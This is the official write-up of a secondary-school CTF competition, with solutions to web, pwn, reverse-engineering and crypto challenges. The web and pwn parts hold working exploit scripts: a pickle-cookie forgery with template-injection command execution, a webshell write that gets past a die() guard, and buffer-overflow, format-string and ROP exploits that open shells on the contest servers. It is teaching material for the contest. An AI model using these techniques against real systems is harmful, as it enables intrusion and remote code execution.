第四届全国中学生网络安全竞赛 MssCTF 官方WriteUp

WEB

前言

具体的知识点已经在复盘时讲解过,就不在wp中给出详细的解释

HS.com

考点

打开题目405,实际是请求方法不正确,抓包,在响应头中可以看到被允许的请求方法是HS

image-20210712155629418

修改请求方法后发包,可以看到源码的回显

image-20210712155641745

GPC的优先级在PHP.INI里可以设置,variables_order = “GPCS” ,在这道题中,当Cookie,GET,POST重名时,$_REQUEST取Cookie的值,

所以我们只需要get传参innerspace=[随便什么值],然后cookie传参innerspace=mssctf即可成功得到flag

image-20210712155653442

babyPHP

考点

intval()处理十六进制字符串时,会返回0,十六进制字符串与十进制数进行运算时,会先转化为十进制数再去计算

data://伪协议可以用于写入字符串

本题用到的一些函数:

可以看到flag.php在倒数第二个位置

image-20210712160146378

最终payload:level1=0x1011&level2=data://text/plain,mssCTF is interesting!&level3=show_source(next(array_reverse(scandir(getcwd()))))

Include

考点

第一步:绕过if判断

64位系统中PHP_INT_SIZE:8,PHP_INT_MAX:2^63^-1,所以数组下标的最大值就是9223372036854775807,这里如果我们给数组的第2^63^-1赋值,进行自动赋值时就会在2^63^发生溢出,导致赋值失败,返回NULL,绕过if的判断

image-20210707220224790

所以我们只要让$a=9223372036854775806即可

第二步:绕过死亡die

file_put_contents()是一个可以写入文件的函数,显然我们可以利用变量c和它来写入webshell,问题出现在,如果我们利用变量c写入webshell,无论我们如何写入,都会由于前面拼接的死亡die,而导致shell无法正常执行。所以核心考察如何绕过die这个函数,可以想办法在写入文件时,让die这个函数消失。

file_put_contents()这个函数是可以和php伪协议一起使用的,那么我们就可以利用php://filter协议来让die函数消失

在php中base64的解码过程是:只对包含在解码范围内的字符进行解码,不包含在内的字符直接忽略,然后将剩余字符组合到一起

也就是说要对<?php die('Victory is in sight');?>进行base64解码时,实际解码的字符phpdieVictoryisinsight这22个字符,base64的解码原理简单理解为将每4个字符放在一组进行解码,所以我们可以在给这22个字符补2个字符aa,让它刚好可以被解码

image-20210707230654548

可见,死亡die被解码去掉了,之后我们就可以在aa后加入想要写入的代码的base64编码

image-20210707230654548

payload

?a=9223372036854775806&b=php://filter/write=convert.base64-decode/resource=125.php
post传参
c=aaPD9waHAgc2hvd19zb3VyY2UoImZsYWcucGhwIik7Pz4=

FakeSite

考点

打开题目,F12查看源码

image-20210707190846185

看到了login,register,forum几个页面,每个都访问一下,发现只有login能用

image-20210707191011244

是一个登录界面,但是随便输个符合要求的账号密码就可以登录,登录后提示未授权,并提示需要admin权限

image-20210707191243349

要认证管理员权限,首先想到就是cookie的认证,发现cookie中一个HSession,里面有一个字符串,末尾是%3D,也就是=,所以猜测是base64编码

写一个简单的python脚本解一下

image-20210707191856605

可以看到是一些不可见字符,并且包含了我们之前所输入的用户名,最主要出现了admin字样,猜测修改掉这个字符串中的某个位置,可以切换为admin

image-20210707192100803

类比php序列化字符串不难想到,是python的序列化字符串,所以接下来只要找到分析python序列化字符串的方法就可以

使用python的模块pickle就可以处理python的序列化字符串

image-20210707192651129

image-20210707192707164

将False改为True,即可认证admin身份

image-20210707193015762

image-20210707193026495

image-20210707193120884

成功认证admin身份后,我们可以看到用户名Hanshu被回显到了页面上,猜测存在SSTI模板注入

image-20210707203644212

发现确实存在SSTI模板注入

image-20210707203718943

经过一些测试,可以知道过滤了. ' | +以及一些关键字os,class,base,init,flag,system

.被过滤我们可以用[]代替
'被过滤我们可以用"去进行拼接,来绕过关键字过滤

exp

from base64 import b64decode as bd
from base64 import b64encode as be
from urllib import parse
import pickle
import requests
import time


#url = input("\033[1;34m[^_^] ? Input Target Url: \033[0m") + "profile"
url = "http://127.0.0.1:5000/profile"
while True:
    code = input("\033[1;34m[^_^] > \033[0m")
    if code == "BRUTE":
        for i in range(0, 200):
            print("@ ",i)
            pcode = r'{{""["__cla""ss__"]["__ba""se__"]["__subcl""asses__"]()[' + str(i) + r']["__in""it__"]["__glo""bals__"]["__buil""tins__"]["eval"]("__import__(\"o\"\"s\")")["popen"]("echo hsyyds")["read"]()}}'
            user = {"username": pcode, "admin": True}
            headers = {
                "Cookie": "HSession="+parse.quote(be(pickle.dumps(user))),
            }
            response = requests.get(url=url, headers=headers)
            if "500" in response.text:
                print("\033[1;31m[x_x] @", i, " is not correct.\033[0m")
            if "hsyyds" in response.text:
                print("\033[1;33m[@_@] Probably find flag.\033[0m")
                print("\033[1;33m", response.text, "\033[0m")
                break
            time.sleep(0.2)
    else:
        user = {"username": "{{"+code+"}}", "admin": True}
        headers = {
            "Cookie": "HSession="+parse.quote(be(pickle.dumps(user))),
        }
        response = requests.get(url=url, headers=headers)
        if "500 Internal Server Error" in response:
            print("\033[1;31m[x_x] Execute Error.\033[0m")
        else:
            print(response.text)

PWN

第一题:signin

思路

想着线上赛第一道题出的简单一点……什么简单呢?

栈溢出?格式化字符串?整数溢出?

唔~第一道题,给个比较简单的东西吧!

整数溢出+栈溢出(有backdoor)

exp:

from pwn import *
context.log_level = 'debug'
p = remote('pwn.mssctf.woooo.tech',10040)
payload = b'ZXFxaWUmY29yMWU='+b'a'*(0x92-0x15)+p32(0x080492b6)+b'b'*129  
p.send(payload)
p.interactive()

第二题:format

思路

唔~第二道题,给个简单的格式化字符串,稍微有一点特点,估计得自己手动写payload(希望……根据第一道题的难度,决定第二道题的难度。可以再开个pie什么的增加点难度……

劫持got

exp

from pwn import *
context(arch='amd64', os='linux')

# p = process ('./format')
elf = ELF ('./format')
# gdb.attach(p)
libc = ELF('./libc-2.27.so')
one_gadget = [0x4f3d5, 0x4f432, 0x10a41c, 0xe546f, 0xe5617, 0xe561e, 0xe5622, 0x10a428]
def pwn(x):
  #p = process('./format',env={"LD_PRELOAD":"./libc-2.27.so"})
  p = remote('1.117.139.210', 9603)
  #gdb.attach(p,"b $rebase(0x1536)")
  p.recvuntil("Who would you like to call?\n")
  p.sendline('7')

  p.recvuntil("Sorry~He's bussy now.But you can leave him THREE messages here:")
  p.sendline('%69$p')
  p.recvuntil("Your message: ")
  libc_base = int(p.recv(14), 16) - 231 - libc.sym['__libc_start_main']
  log.success('__libc_base => {}'.format(hex(libc_base)))

  p.sendline('%65$p')
  p.recvuntil("Your message: ")
  elf_base = int(p.recv(14), 16) - elf.sym['main'] - 45
  log.success('main => {}'.format(hex(elf_base)))

  exit_add = elf.got['exit'] + elf_base
  one_gadget_add = one_gadget[x] + libc_base
  p.sendline(fmtstr_payload(14, {exit_add: one_gadget_add}, numbwritten=14))
  p.sendline('a')
  p.interactive()

#for i in range(len(one_gadget)):
#  log.info(str(i))
#  pwn(i)
pwn(4)

或者


from pwn import *
context(arch='amd64', os='linux',log_level='debug')

# p = process ('./format')
p = remote('1.117.139.210', 9603)
elf = ELF ('./format')
# gdb.attach(p)
libc = ELF('libc-2.27.so')
one_gadget = [0x4f3d5, 0x4f432, 0x10a41c, 0xe546f, 0xe5617, 0xe561e, 0xe5622, 0x10a428]

p.recvuntil("Who would you like to call?\n")
p.sendline('7')

p.recvuntil("Sorry~He's bussy now.But you can leave him THREE messages here:")
p.sendline('%69$p')
p.recvuntil("Your message: ")
libc_base = int(p.recv(14), 16) - 231 - libc.sym['__libc_start_main']
log.success('__libc_base => {}'.format(hex(libc_base)))

p.sendline('%65$p')
p.recvuntil("Your message: ")
elf_base = int(p.recv(14), 16) - elf.sym['main'] - 45
log.success('main => {}'.format(hex(elf_base)))

puts_add = elf.got['puts'] + elf_base
system_add = libc.sym['system'] + libc_base
p.sendline(fmtstr_payload(14, {puts_add: system_add}, numbwritten=14))
p.sendline('//bin/sh')
p.interactive()

第三题 over

思路

稍微复杂了点,先输入,手动初始化栈,负数下标访问越界,修改参数,加和求出canary,read函数栈溢出。

exp:

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
#p = remote ('pwn.mssctf.woooo.tech', 10075)
p = process('./over')
elf = ELF('./over')
# gdb.attach(p, 'b *0x401677\nc\n')
cannery_offset = 105
cannery = []
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_add = elf.symbols['main']
pop_rdi_ret = 0x0000000000401703
ret_add = 0x000000000040101a
puts_leak = 0x0
puts_off = 0x0000000000080aa0
system_off = 0x000000000004f550 
binsh_off = 0x1b3e1a

def choose(choice):
	p.recvuntil("Your choice: ")
	p.sendline(str(choice))

def put_in_junkdata(offset):
	choose(1)
	p.recvuntil("Tell me how many numbers you want to handle(most 99):\n")
	p.sendline(str(offset))
	for i in range(int(offset)):
		p.sendline('0')

def tamper_num(offset, num_to_change):
	choose(2)
	p.recvuntil("Change which one?\n")
	p.sendline(str(offset))
	p.recvuntil("New value: ")
	p.sendline(str(num_to_change))

def leak_by_sum():
	choose(3)
	p.recvuntil("The SUM of the numbers: ")
	return int(p.recvline()[ :-1])

def put_in_junkadvice(payload):
	choose(5)
	p.recvuntil("Do you have any advice for my products?\nLeave message,please!\n")
	p.sendline(payload)


def leak_cannery():
	tamper_num(-4, cannery_offset - 1)
	temp_sum = leak_by_sum()
	for i in range(8):
		tamper_num(-4, cannery_offset + i)
		cannery.append(chr(leak_by_sum() - temp_sum))
		temp_sum += ord(cannery[len(cannery) - 1])
		print cannery
	
def leak_libc_base():
	global puts_leak
	payload = flat([
		'a' * (0x70 - 8),
		cannery[0],
		cannery[1],
		cannery[2],
		cannery[3],
		cannery[4],
		cannery[5],
		cannery[6],
		cannery[7],
		'b' * 8,
		p64(pop_rdi_ret),
		p64(puts_got),
		p64(puts_plt),
		p64(main_add)
		])
	put_in_junkadvice(payload)
	print 'success1'
	p.recvuntil("Copy that!I'll take your advice seriously!!!\n")

	puts_leak = u64(p.recv(6).ljust(8, '\x00'))
	log.success('puts_leak=>{}'.format(hex(puts_leak)))

def ret2libc():
	system_add = puts_leak - puts_off + system_off # + libc.dump('system')# 
	binsh_add = puts_leak  - puts_off + binsh_off # + libc.dump('str_bin_sh')#
	# print 'binsh_add' + str(binsh_add)
	payload = flat([
		'a' * (0x70 - 8),
		cannery[0],
		cannery[1],
		cannery[2],
		cannery[3],
		cannery[4],
		cannery[5],
		cannery[6],
		cannery[7],
		'b' * 8,
		p64(pop_rdi_ret),
		p64(binsh_add),
		p64(ret_add),
		p64(system_add)
		])
	put_in_junkadvice(payload)


def pwn():
	leak_cannery()
	leak_libc_base()
	ret2libc()

if __name__ == '__main__':
	pwn()
	
p.interactive()

第四题:shellcode

思路

很简单的shellcode,稍微得看看汇编,,有个10的offset

exp

from pwn import *
context.arch = 'amd64'
p = remote('1.117.139.210', 9605)
payload = b'a'*10 + asm(shellcraft.sh())
p.sendline(payload)
p.interactive()

第五题:crypto

感谢fnv1c师傅的命题

命题背景

考虑到ctf比赛面向中学生,题目不宜过难。因此本题避开了繁难的堆相关考点,将栈作为题目的支点。
栈溢出相关题目难度低的特点,使其同质化、模板化现象较为严重,甚至出现了调试器自动化pwn的方法。为了切合mssctf“能力、发现、成长”的主题,本题目引入了堆溢出题目的一个创新点,需要选手在基本功扎实的同时敢于探索,在特殊条件限制中发现突破点,最终完成题目,实现pwn相关能力的成长。

考点

frame pointer off-by-one-null(创新),ROP基础操作,pwn基础知识

解题思路

  char buf[139]; // [rsp+0h] [rbp-90h] 
  char v5; // [rsp+8Bh] [rbp-5h]
  int i; // [rsp+8Ch] [rbp-4h]
  puts("enter your plain_text");
  buf[read(0, buf, 128uLL)] = 0; //内容读入buf,139>128+1,无法溢出
  puts("enter your chiper");
  v5 = sub_1169(); //子输入函数
  for ( i = 0; i <= 127; ++i )
    buf[i] ^= v5;  //通过v5结果对buf进行循环异或加密
  puts("is this your flag?"); 
  write(1, buf, 128uLL); //输出异或后buf
  putchar(10); //'\n'
  puts("tell me your flag");
  buf[read(0, buf, 0x80uLL)] = 0; //内容读入buf,同上分析,无法溢出
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF
  buf[read(0, buf, 32)] = 0; //当输入大小为32时,相当于buf填满,并且buf[32]=0,也就是额外一个字节被写了0,即所谓off-by-one-null
  return (unsigned __int8)buf[2] ^ (unsigned __int8)buf[1] ^ (unsigned __int8)buf[0] ^ (unsigned int)(unsigned __int8)buf[3];
-0000000000000020 buf             db 32 dup(?)            ; string(C)
+0000000000000000  s              db 8 dup(?)
+0000000000000008  r              db 8 dup(?)
push    rbp
mov     rbp, rsp
sub     rsp, 20h
-0x1 callee2's data
0x0 retaddr@callee(此函数调用另一个函数时,此处为retaddr) 
<-rsp here 
0x1 localvarx@callee
0x2 ...
0x3 ...
0x4 ...
0x5 ...
0x6 localvar2@callee
0x7 localvar1@callee 
0x8 retaddr@caller <-rbp here

1.原buf内容
2.buf地址以上的内容
3.1和2混合

1.首先通过栈上残留的retaddr确定elf基址,再puts(read@got),获取read函数地址,以此算出libc基址,再跳回main准备二次rop
可能的非预期:栈上残留信息直接得出libc基址,只通过一次rop就getshell
2.栈上写入"/bin/sh"地址和pop rdi,最后执行system,获得shell

后话

exp

from pwn import *
p = process("./crypto")
elf = ELF("./crypto")
#context.log_level = 'DEBUG'
context.terminal = ['lxterminal', '-e']
p.sendafter(b"enter your plain_text\n", "*!" * (126//2))
p.sendafter("enter your chiper\n", b"\x00" * 32)
p.recvuntil("is this your flag?\n", True)
dump = p.recv(128)
p.recvuntil("tell me your flag\n", True)
pos = dump.find(b"*!")
assert (pos >= 8)
avail_rops = (128 - pos) // 8
assert (avail_rops >= 4)  # pop rdi;rdi(puts@got);puts got;main+26;
leak_base = u64(dump[pos - 8:pos]) - 0x0000000000001254
print("elf_base "+hex(leak_base))
rop_poprdi = 0x0000000000001303 + leak_base
rop_ret = 0x0000000000001294+leak_base
puts_got = elf.got['puts']+leak_base
payload = ((pos - 8) * b"a" + p64(rop_poprdi) + p64(puts_got) +
           p64(elf.plt['puts']+leak_base) + p64(0x11a4+26+leak_base)).ljust(128, b"a")
p.send(payload)
puts_addr = u64(p.recvline().rstrip().ljust(8, b"\x00"))
libc = ELF("./libc.so.6") 
libc_base = puts_addr-libc.symbols['puts']
libc_binsh = next(libc.search(b"/bin/sh\x00"))
print("libc_base "+hex(libc_base))
payload = ((128//8)-3)*p64(rop_ret)+p64(rop_poprdi) + \
    p64(libc_base + libc_binsh) + p64(libc_base + libc.symbols["system"])
p.send(payload)
p.interactive()

REVERSE

Signin

WP

本题中比较坑的一点就是,ida将en_flag识别成了4个long long的数字,因此在ida中看到的en_flag是小端序形式存储的。

有两种方法能得到字符串形式的en_flag,一种是动态调试查看hex表,另一种是手动将小端序转化,两种方法都不是很难。

exp如下

en_flag = "\x31\x6C\x3D\x3F\x71\x71\x24\x27\x2D\x29\x2F\x27\x44\x16\x45\x47\x1E\x1A\x15\x4B\x55\x04\x02\x02\x59\x0A\x0D\x58\x23\x24\x74\x72"
flag = ""
print(len(en_flag))
for i in range(32):
    flag += chr(ord(en_flag[i])^(2*(i+4)))
print(flag)	

EZcpp

WP

本体难点主要在于c++逆向中,string类型的全局变量初始化使用的时basic_string方法,并且初始化函数并不在main函数中,需要使用交叉引用来寻找被加密的flag在哪里。

另一个难点就是ida识别出来的c++代码比较难以阅读,需要识别出at、==等方法。

en_flag = "\x77\x4D\x49\x44\x4B\x44\x4C\x4B\x34\x85\x88\x38\x3C\x8B\x8B\x3D\x27\x22\x29\x59\x5C\x2B\x26\x2F\x17\x19\x67\x66\x1B\x1F\x17\x6F"
flag = ""
for i in range(32):
    flag += chr((ord(en_flag[i])-18)^(i*2))
print(flag)

Strange_pyc

WP

首先使用marshal获取字节码

import dis,marshal
f=open("Strange_pyc.pyc","rb").read()

code = marshal.loads(f[16:])

dis.dis(code)

字节码如下

1           0 LOAD_CONST               0 (0)
              2 LOAD_CONST               1 (None)
              4 IMPORT_NAME              0 (time)
              6 STORE_NAME               0 (time)

  3           8 LOAD_NAME                1 (print)
             10 LOAD_CONST               2 ('[Strange_pyc] Welcome to mssctf2021.')
             12 CALL_FUNCTION            1
             14 POP_TOP

  4          16 BUILD_LIST               0
             18 LOAD_CONST               3 ((75, 74, 76, 72, 75, 72, 28, 70, 31, 79, 72, 28, 72, 71, 73, 26, 31, 70, 72, 73, 79, 70, 72, 72, 76, 77, 26, 73, 27, 77, 74, 27))
             20 LIST_EXTEND              1
             22 STORE_NAME               2 (magic)

  7          24 LOAD_NAME                3 (input)
             26 LOAD_CONST               4 ('please input your password : ')
             28 CALL_FUNCTION            1
             30 STORE_NAME               4 (hanser)

  8          32 LOAD_NAME                5 (list)
             34 LOAD_NAME                4 (hanser)
             36 CALL_FUNCTION            1
             38 STORE_NAME               6 (ipt)

  9          40 LOAD_NAME                7 (len)
             42 LOAD_NAME                6 (ipt)
             44 CALL_FUNCTION            1
             46 LOAD_NAME                7 (len)
             48 LOAD_NAME                2 (magic)
             50 CALL_FUNCTION            1
             52 COMPARE_OP               3 (!=)
             54 POP_JUMP_IF_FALSE       82

 10          56 LOAD_NAME                1 (print)
             58 LOAD_CONST               5 ('QwQ , you are wrong . Try again ! ')
             60 CALL_FUNCTION            1
             62 POP_TOP

 11          64 LOAD_NAME                0 (time)
             66 LOAD_METHOD              8 (sleep)
             68 LOAD_CONST               6 (114514)
             70 CALL_METHOD              1
             72 POP_TOP

 12          74 LOAD_NAME                9 (exit)
             76 LOAD_CONST               6 (114514)
             78 CALL_FUNCTION            1
             80 POP_TOP

 13     >>   82 LOAD_NAME               10 (range)
             84 LOAD_NAME                7 (len)
             86 LOAD_NAME                6 (ipt)
             88 CALL_FUNCTION            1
             90 LOAD_CONST               7 (2)
             92 BINARY_FLOOR_DIVIDE
             94 CALL_FUNCTION            1
             96 GET_ITER
        >>   98 FOR_ITER                54 (to 154)
            100 STORE_NAME              11 (i)

 14         102 LOAD_NAME                6 (ipt)
            104 LOAD_NAME               11 (i)
            106 LOAD_CONST               7 (2)
            108 BINARY_MULTIPLY
            110 LOAD_CONST               8 (1)
            112 BINARY_ADD
            114 BINARY_SUBSCR
            116 LOAD_NAME                6 (ipt)
            118 LOAD_NAME               11 (i)
            120 LOAD_CONST               7 (2)
            122 BINARY_MULTIPLY
            124 BINARY_SUBSCR
            126 ROT_TWO
            128 LOAD_NAME                6 (ipt)
            130 LOAD_NAME               11 (i)
            132 LOAD_CONST               7 (2)
            134 BINARY_MULTIPLY
            136 STORE_SUBSCR
            138 LOAD_NAME                6 (ipt)
            140 LOAD_NAME               11 (i)
            142 LOAD_CONST               7 (2)
            144 BINARY_MULTIPLY
            146 LOAD_CONST               8 (1)
            148 BINARY_ADD
            150 STORE_SUBSCR
            152 JUMP_ABSOLUTE           98

 15     >>  154 LOAD_NAME               10 (range)
            156 LOAD_NAME                7 (len)
            158 LOAD_NAME                6 (ipt)
            160 CALL_FUNCTION            1
            162 CALL_FUNCTION            1
            164 GET_ITER
        >>  166 FOR_ITER                24 (to 192)
            168 STORE_NAME              11 (i)

 16         170 LOAD_NAME               12 (ord)
            172 LOAD_NAME                6 (ipt)
            174 LOAD_NAME               11 (i)
            176 BINARY_SUBSCR
            178 CALL_FUNCTION            1
            180 LOAD_CONST               9 (126)
            182 BINARY_XOR
            184 LOAD_NAME                6 (ipt)
            186 LOAD_NAME               11 (i)
            188 STORE_SUBSCR
            190 JUMP_ABSOLUTE          166

 17     >>  192 LOAD_NAME               10 (range)
            194 LOAD_NAME                7 (len)
            196 LOAD_NAME                6 (ipt)
            198 CALL_FUNCTION            1
            200 CALL_FUNCTION            1
            202 GET_ITER
        >>  204 FOR_ITER                46 (to 252)
            206 STORE_NAME              11 (i)

 18         208 LOAD_NAME                6 (ipt)
            210 LOAD_NAME               11 (i)
            212 BINARY_SUBSCR
            214 LOAD_NAME                2 (magic)
            216 LOAD_NAME               11 (i)
            218 BINARY_SUBSCR
            220 COMPARE_OP               3 (!=)
            222 POP_JUMP_IF_FALSE      204

 19         224 LOAD_NAME                1 (print)
            226 LOAD_CONST               5 ('QwQ , you are wrong . Try again ! ')
            228 CALL_FUNCTION            1
            230 POP_TOP

 20         232 LOAD_NAME                0 (time)
            234 LOAD_METHOD              8 (sleep)
            236 LOAD_CONST               6 (114514)
            238 CALL_METHOD              1
            240 POP_TOP

 21         242 LOAD_NAME                9 (exit)
            244 LOAD_CONST               6 (114514)
            246 CALL_FUNCTION            1
            248 POP_TOP
            250 JUMP_ABSOLUTE          204

 22     >>  252 LOAD_NAME                1 (print)
            254 LOAD_CONST              10 ('Congratulations!!!')
            256 CALL_FUNCTION            1
            258 POP_TOP

 23         260 LOAD_NAME                1 (print)
            262 LOAD_CONST              11 ('Here is your flag : mssctf{')
            264 LOAD_NAME                4 (hanser)
            266 BINARY_ADD
            268 LOAD_CONST              12 ('}')
            270 BINARY_ADD
            272 CALL_FUNCTION            1
            274 POP_TOP

 24         276 LOAD_NAME                0 (time)
            278 LOAD_METHOD              8 (sleep)
            280 LOAD_CONST               6 (114514)
            282 CALL_METHOD              1
            284 POP_TOP
            286 LOAD_CONST               1 (None)
            288 RETURN_VALUE

翻译字节码得到python源代码

print("[Strange_pyc] Welcome to mssctf2021.")
magic = [75, 74, 76, 72, 75, 72, 28, 70, 31, 79, 72, 28, 72, 71, 73, 26, 31, 70, 72, 73, 79, 70, 72, 72, 76, 77, 26, 73, 27, 77, 74, 27]
hanser = input("please input your password : ")
input = list(hanser)
if len(input) != len(magic):
    print("QwQ , you are wrong . Try again ! ")
    exit(114514)
for i in range(len(input)//2):
    input[i], input[i+1] = input[i+1], input[i]
for i in range(len(input)):
    input[i] = ord(input[i]) ^ 126
for i in range(len(input)):
    if input[i] != magic[i]:
        print("QwQ , you are wrong . Try again ! ")
        exit(114514)
print("Congratulations!!!")
print("Here is your flag : " + "mssctf{" + hanser + "}")

写脚本解密

ipt = [75, 74, 76, 72, 75, 72, 28, 70, 31, 79, 72, 28, 72, 71, 73, 26, 31, 70, 72, 73, 79, 70, 72, 72, 76, 77, 26, 73, 27, 77, 74, 27]
for i in range(len(ipt)):
    ipt[i] ^= 126
for i in range(len(ipt)//2):
    ipt[i*2], ipt[i*2+1] = ipt[i*2+1], ipt[i*2]
for i in range(len(ipt)):
    print(chr(ipt[i]),end="")

三点多了,饮茶啦先

WP

简单的TEA加密,只不过把key和delta替换了

#include <stdio.h>
int main()
{
    unsigned char en_flag[100] = "\x7A\xE8\xD9\x07\x59\x2B\x30\x92\x54\x3A\x62\xB6\x6D\x99\x83\x41\x7E\x65\x01\xA4\xFE\x4A\x47\x8B\x91\x23\x3D\xCD\x8D\xF0\xCB\x4A";
    unsigned int flag[8] = {0};
    for (int i = 0; i < 4; i++)
    {
        unsigned int var1 = *((unsigned int *)&en_flag[i*8]);
        unsigned int var2 = *((unsigned int *)&en_flag[i*8] + 1);
        unsigned int key[4] = {114, 514, 1919, 810};
        unsigned int delta = 0xdeadbeef;
        unsigned int sum = 0xd5b7dde0;
        for (int j = 0; j < 32; j++)
        {
            var2 -= (sum + var1) ^ (key[2] + 16 * var1) ^ ((var1 >> 5) + key[3]);
            var1 -= (sum + var2) ^ (key[0] + 16 * var2) ^ ((var2 >> 5) + key[1]);
            sum -= delta;
        }
        flag[2 * i] = var1;
        flag[2 * i + 1] = var2;
    }
    char buf[100]={0};
    for(int i=0;i<32;i++){
        buf[i] = *((char *)flag + i);
    }
    puts(buf);
}

CRYPTO


OldAffineSignin

我们先看描述

  Do you know Affine?
  \* You need to pack the flag you get with mssctf{\*}

这里直接就提到了 仿射密码 并且需要把flag用mssctf{*}包裹起来. 接下来可以看题目

题目中给出了一个字典 字典里面对应26个字母都有相对应的一个字符,发现他的加 密就是使用这个字典去进行一个一个字符进行加密,那么我们只需要对其进行一个 对应的返回就可以得到我们的flag,这里我是用一一找到他每个字母对应的字母进 行解密,办法挺笨的。当然也可以让字典的键和值都单独输出之后在 zip 打包一下 再去用原函数进行一个解密操作.

exp:

dic = { 'a': 'd','b': 'f','c': 's','d': 'z','e': 'b','f': 'q','g': 'a','h': 'r','i': 't','j': 'w','k': 'y','l': 'x','m': 'v','n': 'p','o': 'm','p': 'n','q': 'l','r': 'u','s': 'o','t': 'h','u': 'j','v': 'k','w': 'i','x': 'g','y': 'e','z': 'c'}
cip  = 'dqqtpbtodxombdoe'
flag = ''
for _ in cip:
    if _ == "d":
        flag = flag + "a"
    elif _ == "q":
        flag = flag + "f"
    elif _ == "t":
        flag = flag + "i"
    elif _ == "p":
        flag = flag + "n"
    elif _ == "b":
        flag = flag + "e"
    elif _ == "o":
        flag = flag + "s"
    elif _ == "x":
        flag = flag + "l"
    elif _ == "m":
        flag = flag + "o"
    elif _ == "e":
        flag = flag + 'y'
    
flag = 'mssctf{' + flag + '}'
print(flag)

or

dic = { 'a': 'd','b': 'f','c': 's','d': 'z','e': 'b','f': 'q','g': 'a','h': 'r','i': 't','j': 'w','k': 'y','l': 'x','m': 'v','n': 'p','o': 'm','p': 'n','q': 'l','r': 'u','s': 'o','t': 'h','u': 'j','v': 'k','w': 'i','x': 'g','y': 'e','z': 'c'}
cip  = 'dqqtpbtodxombdoe'
dic = dict(zip(dic.values(),dic.keys()))
flag = ''
for i in cip:
    flag += dic[i]
print('mssctf{' + flag + '}')

ezRSA

题目中生成了一个345位的p和q,但是e只有3 assert了一下flag的长度是29位,n是690。那么flag是29*8=232位,我们发现 flag的e次比n就大一点。那么我们就可以去爆破他加密后的是 n的多少倍+上这个cip 可以被3次完全开方掉,爆破出来就是 6 倍。

exp:

from Crypto.Util.number import*
import gmpy2

if __name__ == "__main__":
    n =  ...
    c =  ...
    e = 3
    i = 0
    while gmpy2.iroot(c+i*n,e)[1] == False :
        i += 1
    print(i)
    s = gmpy2.iroot(c+i*n,e)[0]
    print(long_to_bytes(gmpy2.iroot(c+i*n,e)[0]))

SpecialLCG:

相同的我们去分析题目,一开始assert了flag的长度是24位,并且用这个flag的前8位作为LCG的a,中间8位作为LCG的b,后8位作为LCG的c,并且我们是需要生成一个64位的素数n比a,b,c都大的,同时n也是已知的。seed1 和seed2都是随机生成的64位数 LCG内置中的初始化 state的初始状态是seed1和seed2。 最后给出的已知量是5个data和一个n。 那么我们可以列出以下式子: $$ y_3 = a \times y_2 + b\times y_1 +c \mod n\ y_4 = a \times y_3 + b\times y_2 +c \mod n\ y_5 = a \times y_4 + b\times y_3 +c \mod n\ $$ 由于他是一个3条 线性的三元一次方程 ,我们就可以这样进行 一个消元的办法 去得到这些 a,b,c

思路1:

设 $$ x4=y5-y4,x3=y4-y3,x2=y3-y2,x1=y2-y1 $$ 于是 $$ x4 = (ax3+bx2)%n,x3= (ax2+bx1)%n $$ 所以我们就可以得到 $$ \frac{x4}{x2}=(a\frac{x3}{x2}+b)%n,\frac{x3}{x1}=(a\frac{x2}{x1}+b)%n $$ 接着只需要用常规的乘法逆元就能得到a了 $$ a=\frac{\frac{x4}{x2}-\frac{x3}{x1}}{\frac{x3}{x2}-\frac{x2}{x1}} $$ 拿到了a之后我们就只需要代入(3)中任意一条我们就能拿到b了, $$ b=(\frac{x3}{x1}-a\frac{x2}{x1})%n $$ c就相对更加简单了直接代入原来的表达式当中 $$ c = (y5-ay4-by3)%n $$

from Crypto.Util.number import *
n = 18253588106473969889
data = [8331802587873314500, 16970700310063771377, 16378474859328460142, 13073117282614811463, 747433301416436433]
t = []
for i in range(4):
    t.append(data[i+1] - data[i])

a1 = (t[2] * inverse(t[0], n) - t[3] * inverse(t[1],n)) * inverse(  (t[1]*inverse(t[0],n)-t[2]*inverse(t[1],n)) ,n) % n
b1 = (t[3] - a1 * t[2])* inverse(t[1],n) % n
c1 = (data[2] - data[1]*a1-data[0]*b1) % n
print(long_to_bytes(a1) + long_to_bytes(b1) + long_to_bytes(c1))

思路2:

构造一个矩阵 $$ \left(\matrix{a,b,c}\right)\left(\matrix{y_2,y_3,y_4\y_1,y_2,y_3\1\ ,\ 1\ ,\ 1}\right) = \left(\matrix{y_3,y_4,y_5}\right) $$ $$ \left(\matrix{a,b,c}\right) = \left(\matrix{y_3,y_4,y_5}\right)\left(\matrix{y_2,y_3,y_4\y_1,y_2,y_3\1\ ,\ 1\ ,\ 1}\right)^{-1} $$

直接进行矩阵求逆就可以得到a,b,c.

from sage.all import *
from  Crypto.Util.number import *
n = 18253588106473969889
data = [8331802587873314500, 16970700310063771377, 16378474859328460142, 13073117282614811463, 747433301416436433]


M = Matrix(Zmod(n),[
    [data[1],data[2],data[3]],
    [data[0],data[1],data[2]],
    [1      ,1      ,1      ]
])
a = Matrix(Zmod(n), [ [data[2],data[3],data[4]]])
s = (a*(M**(-1)))
print(long_to_bytes(s[0][0])+long_to_bytes(s[0][1])+long_to_bytes(s[0][2]))

非预期解1:

赛后与1位选手交流了一下,发现他的解法是个非预期,就是a是flag的前8位,而前7位已知,就爆破第8位,之后就可以跟普通的LCG一样解题了

aesSTUDY

相同的,先分析一下题目. 这是一道交互题,当我们连接上服务器之后 我们发现他一开始传出了一个板子出来 Welcome to MSSCTF 2021 他的第一步有一个proof of work

我们需要爆破这个sha256才能够通过他 进行下一步,那么我们就照着他的样子去过,先用pwntools去连接上这个服务器,他这个只需要去爆破3位,因此时间也不会很久。

接下去就是看这块内容的主要 handle函数部分的内容了,过了pow之后他打出一个菜单1是得到加密后的数据 2是拿到hint 3是退出 4是检查一下。

我们看一下加密部分,getEncData,先是进行了一个加密并且使用了一个长度为16的salt加在了明文的前面,iv是ivv 从secret里面导入的,key也是secret里面导入的,然后我们用key,和ivv在进行一个CBC模式对明文进行一次加密后 返回加密后的密文 和 key和salt异或之后得到的东西。 那么在这里我们就可以很容易的得到这个key,因为salt是已知的,我们只需要把得到的这串数据去和salt进行异或操作,那么拿到的就是这个key的值了。 Hint部分 只是把明文前16位进行解密了 Check部分就是需要给他正确的ivv就能够拿到flag 其实题目中已经有提示 Do U Know CBC and ECB? 那么我们来看一下CBC模式的解密和ECB模式的解密

image-20210711190528686

image-20210711190534714

